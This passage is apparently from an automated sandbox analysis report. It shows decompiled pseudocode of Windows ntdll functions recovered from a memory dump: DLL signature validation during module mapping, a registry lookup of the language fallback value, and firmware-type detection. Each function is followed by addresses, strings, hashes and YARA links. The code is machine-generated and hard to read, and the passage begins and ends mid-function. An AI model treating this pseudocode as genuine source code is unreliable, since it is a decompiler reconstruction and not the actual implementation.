					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E04687D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04687D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E046E7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E04687D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04687D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E046E7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E0469A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E0466B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x04677e4c
0x04677e50
0x04677e55
0x04677e58
0x04677e5d
0x04677e71
0x04677f33
0x04677e77
0x04677e77
0x04677e79
0x04677e79
0x04677e7e
0x04677f45
0x046c9848
0x00000000
0x046c9848
0x04677f4e
0x04677f53
0x04677f5a
0x00000000
0x00000000
0x046c985a
0x046c9862
0x046c9866
0x00000000
0x046c986c
0x00000000
0x046c986c
0x04677e84
0x04677e84
0x04677e8d
0x046c9871
0x04677eb8
0x04677ec0
0x04677ec0
0x04677e9a
0x046c987e
0x00000000
0x00000000
0x046c9884
0x046c988b
0x046c98a7
0x046c98ac
0x046c98b1
0x046c98b6
0x046c98b8
0x046c98b8
0x046c98b9
0x00000000
0x046c98b9
0x04677ea0
0x04677ea7
0x00000000
0x00000000
0x04677eac
0x04677eb1
0x04677ec6
0x04677ed0
0x046c98cc
0x04677ed6
0x04677ed6
0x04677ed6
0x04677ede
0x04677ee3
0x046c98e3
0x046c98f0
0x046c9902
0x046c98f2
0x046c98fb
0x046c98fb
0x046c9907
0x046c991d
0x046c991d
0x046c9907
0x046c98e3
0x04677ef0
0x04677f14
0x04677f14
0x04677f1e
0x046c9946
0x04677f24
0x04677f24
0x04677f24
0x04677f2c
0x046c996a
0x046c9975
0x046c9975
0x046c997e
0x046c9993
0x046c9993
0x046c997e
0x00000000
0x04677ef2
0x04677efc
0x04677f0a
0x04677f0e
0x046c9933
0x00000000
0x046c9933
0x00000000
0x04677f0e
0x00000000
0x00000000
0x00000000
0x04677eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 046C98A2
Could not validate the crypto signature for DLL %wZ, xrefs: 046C9891
LdrpCompleteMapModule, xrefs: 046C9898

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: c63f03238b28f6b27156108b8fc363b27c968870210cf70a5eed0be6a1ce9785
Instruction ID: 8915dd64fd44721f22568943f885b99c8456486b1ca16edac81f51980ccb3942
Opcode Fuzzy Hash: c63f03238b28f6b27156108b8fc363b27c968870210cf70a5eed0be6a1ce9785
Instruction Fuzzy Hash: EB51DA71A00784DBEB21CB68C944B3ABBE4EB40315F1406AEE8529B7A1F774FD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0466E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0466E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E0466F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E046A95D0();
						}
						if(_t78 != 0) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E046AFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E046ABB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E046A9600();
					if(_t97 < 0) {
						goto L6;
					}
					E046ABB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L0466F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E046ABB40(_t83, _t102 + 0x24, _t78);
								if(L046743C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E046ABB40(_t84, _t102 + 0x24, _t94);
									if(L046743C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x0466e620
0x0466e628
0x0466e62f
0x0466e631
0x0466e635
0x0466e637
0x0466e63e
0x046c5503
0x046c5503
0x0466e64c
0x0466e64c
0x0466e651
0x00000000
0x00000000
0x0466e661
0x0466e665
0x046c542a
0x0466e715
0x0466e71a
0x0466e71c
0x0466e720
0x0466e720
0x0466e727
0x0466e736
0x0466e736
0x0466e743
0x0466e743
0x0466e673
0x0466e678
0x0466e67d
0x0466e682
0x0466e685
0x0466e692
0x0466e69b
0x0466e6a3
0x0466e6ad
0x0466e6b1
0x0466e6b2
0x0466e6bb
0x0466e6bf
0x0466e6c0
0x0466e6c8
0x0466e6cc
0x0466e6d5
0x0466e6d9
0x00000000
0x00000000
0x0466e6e5
0x0466e6ea
0x0466e6f9
0x0466e70b
0x0466e70f
0x046c5439
0x046c545e
0x046c545e
0x00000000
0x046c545e
0x046c543b
0x046c543e
0x046c5440
0x046c5445
0x046c5472
0x046c5475
0x046c548d
0x046c5493
0x046c54a9
0x00000000
0x00000000
0x046c54ab
0x046c54b4
0x046c54bc
0x046c54c8
0x046c54de
0x046c54fb
0x046c54e0
0x046c54e6
0x046c54eb
0x046c54eb
0x046c54de
0x00000000
0x046c54bc
0x046c5477
0x046c547a
0x046c5480
0x046c5483
0x046c5486
0x046c548b
0x00000000
0x00000000
0x00000000
0x046c548b
0x00000000
0x00000000
0x00000000
0x00000000
0x046c5447
0x046c5447
0x046c5447
0x046c5447
0x046c544e
0x00000000
0x00000000
0x046c5450
0x046c5452
0x046c5455
0x046c545a
0x00000000
0x00000000
0x00000000
0x046c545c
0x046c546a
0x046c546d
0x046c546f
0x00000000
0x046c546f
0x0466e70f

Strings

InstallLanguageFallback, xrefs: 0466E6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0466E68C
@, xrefs: 0466E6C0

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: ab753ae56aca2cba42c178159e2e81272c78f3122d75afe8db11c2f25583b2c5
Instruction ID: a832415d93085f3a126b182bcbdaa6028d642ae538e163b27d9b2fd4a8b094a4
Opcode Fuzzy Hash: ab753ae56aca2cba42c178159e2e81272c78f3122d75afe8db11c2f25583b2c5
Instruction Fuzzy Hash: 7951BF75508365ABD714DF64C850ABAB3E8EF98718F04492EF986D7240FB30F904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0472E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0472E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E0472BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E0472BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E0472AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E046A9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E0472A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E0472A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E046A9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E0472A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E0472A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E04682280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E0467B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E0467FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E04687D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0471FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x0472e547
0x0472e549
0x0472e54f
0x0472e553
0x0472e557
0x0472e55a
0x0472e55c
0x0472e55f
0x0472e561
0x0472e567
0x0472e56b
0x0472e7e2
0x00000000
0x0472e571
0x0472e575
0x0472e577
0x0472e57b
0x0472e57c
0x0472e57d
0x0472e57e
0x0472e57f
0x0472e588
0x0472e58f
0x0472e591
0x0472e592
0x0472e592
0x0472e596
0x0472e59e
0x0472e5a0
0x0472e5a6
0x0472e61d
0x0472e61d
0x0472e621
0x0472e623
0x0472e630
0x0472e630
0x0472e7e6
0x0472e7eb
0x0472e7ed
0x0472e7f4
0x0472e7fa
0x0472e7ff
0x0472e7ff
0x0472e80a
0x0472e812
0x0472e812
0x0472e5ab
0x0472e5b4
0x0472e5b9
0x0472e5be
0x0472e5c0
0x0472e5c2
0x0472e5c8
0x0472e5c9
0x0472e5cb
0x0472e5cc
0x0472e5d5
0x0472e5e4
0x0472e5f1
0x0472e5f8
0x0472e5f8
0x0472e5d5
0x0472e602
0x0472e616
0x0472e63d
0x0472e644
0x0472e64d
0x0472e652
0x0472e657
0x0472e659
0x0472e65b
0x0472e661
0x0472e662
0x0472e664
0x0472e665
0x0472e66e
0x0472e67d
0x0472e68a
0x0472e691
0x0472e691
0x0472e66e
0x0472e6b0
0x00000000
0x0472e6b6
0x0472e6bd
0x0472e6c7
0x0472e6d7
0x0472e6d9
0x0472e6db
0x0472e6de
0x0472e6e3
0x0472e6f3
0x0472e6fc
0x0472e700
0x0472e700
0x0472e704
0x0472e70a
0x0472e70a
0x0472e713
0x0472e716
0x0472e719
0x0472e720
0x0472e761
0x0472e76b
0x0472e774
0x0472e77a
0x0472e77a
0x0472e78a
0x0472e791
0x0472e799
0x0472e79b
0x0472e79f
0x0472e7aa
0x0472e7c0
0x0472e7ac
0x0472e7b2
0x0472e7b9
0x0472e7b9
0x0472e7c7
0x0472e806
0x00000000
0x0472e7c9
0x0472e7d1
0x0472e7d8
0x00000000
0x0472e7d8
0x00000000
0x00000000
0x0472e722
0x0472e72e
0x0472e748
0x0472e74c
0x0472e754
0x0472e756
0x0472e75c
0x0472e75c
0x00000000
0x0472e75c
0x0472e758
0x0472e758
0x00000000
0x0472e758
0x0472e750
0x00000000
0x00000000
0x0472e752
0x00000000
0x0472e752
0x0472e730
0x0472e735
0x0472e73d
0x0472e73f
0x00000000
0x00000000
0x0472e741
0x0472e741
0x00000000
0x0472e741
0x0472e739
0x00000000
0x00000000
0x0472e73b
0x00000000
0x0472e73b
0x0472e722
0x0472e720
0x0472e6b0
0x0472e618
0x00000000
0x0472e618

Strings

`, xrefs: 0472E5D7
`, xrefs: 0472E670

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: a4038bb66a32a98b05dd2dcf19ef8cdf79c94a4f74dc1c43a819bd103818bacc
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: B0917C312043529FE724CE25CA45B2BB7E9AF84714F18892DF999DB380E774F904CB52

Uniqueness

Uniqueness Score: -1.00%

Function 046E51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E046E51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x47405f0);
				E046BD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E0467EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E046E53CA(0);
						return E046BD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E046AF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E04683690(1, _t117, 0x4641810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E046AAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L04684620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E046AAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E046E500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E046A9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x046e51be
0x046e51c3
0x046e51c8
0x046e51cd
0x046e51d0
0x046e51d3
0x046e51d8
0x046e51db
0x046e51de
0x046e51e0
0x046e51e3
0x046e51e6
0x046e51e8
0x046e5342
0x046e5351
0x046e5356
0x046e535a
0x046e5360
0x046e5363
0x046e5366
0x046e5369
0x046e5369
0x046e536b
0x046e536b
0x046e5370
0x046e53a3
0x046e53a4
0x046e53a6
0x046e53ab
0x046e53ab
0x046e53ae
0x046e53ae
0x046e53b5
0x046e53bf
0x046e53bf
0x046e5375
0x046e5396
0x046e53a0
0x046e53a0
0x00000000
0x046e5396
0x046e5377
0x046e5379
0x046e537f
0x046e538c
0x046e5390
0x00000000
0x046e5390
0x046e51ee
0x046e51f1
0x046e5301
0x046e5310
0x046e5315
0x046e5318
0x046e531b
0x046e5320
0x046e532e
0x046e5331
0x00000000
0x046e5331
0x046e5328
0x046e5329
0x00000000
0x046e5329
0x046e51fa
0x046e5235
0x046e5236
0x046e5239
0x046e523f
0x046e5240
0x046e5241
0x046e5242
0x046e5246
0x046e5247
0x046e524e
0x046e5251
0x046e5267
0x046e5269
0x046e526e
0x046e527d
0x046e527e
0x046e5281
0x046e5282
0x046e5287
0x046e5288
0x046e528a
0x046e528f
0x046e5294
0x00000000
0x00000000
0x046e529a
0x046e529c
0x046e529e
0x046e529e
0x046e52a4
0x046e52b0
0x00000000
0x00000000
0x046e52ba
0x046e52bc
0x046e52bc
0x046e52d4
0x046e52d9
0x046e52dc
0x046e52e1
0x00000000
0x00000000
0x046e52e7
0x046e52f4
0x00000000
0x046e52f4
0x046e5270
0x00000000
0x046e5270
0x046e51fc
0x046e51fd
0x046e5202
0x046e5203
0x046e5205
0x046e520a
0x046e520f
0x00000000
0x00000000
0x046e521b
0x046e5226
0x046e522b
0x046e521d
0x046e521d
0x046e5222
0x046e5222
0x046e522d
0x00000000

Strings

UEFI, xrefs: 046E521D
Legacy, xrefs: 046E5226

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 3edbd3b2b6e6c62177d7e767b84e6ece10c90f3be1055c4206142c85c847e9e6
Instruction ID: ad36db1cc9ff2310b09b18896d1f32571e1b300159198c939a559783f9d5185e
Opcode Fuzzy Hash: 3edbd3b2b6e6c62177d7e767b84e6ece10c90f3be1055c4206142c85c847e9e6
Instruction Fuzzy Hash: 81517CB1A01608AFDB24DFE9C840ABDBBF8FB48708F54442DE54AEB251F671A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0466B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0466B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x473f7a8);
				E046BD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E046BD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E046AD000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E046AF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
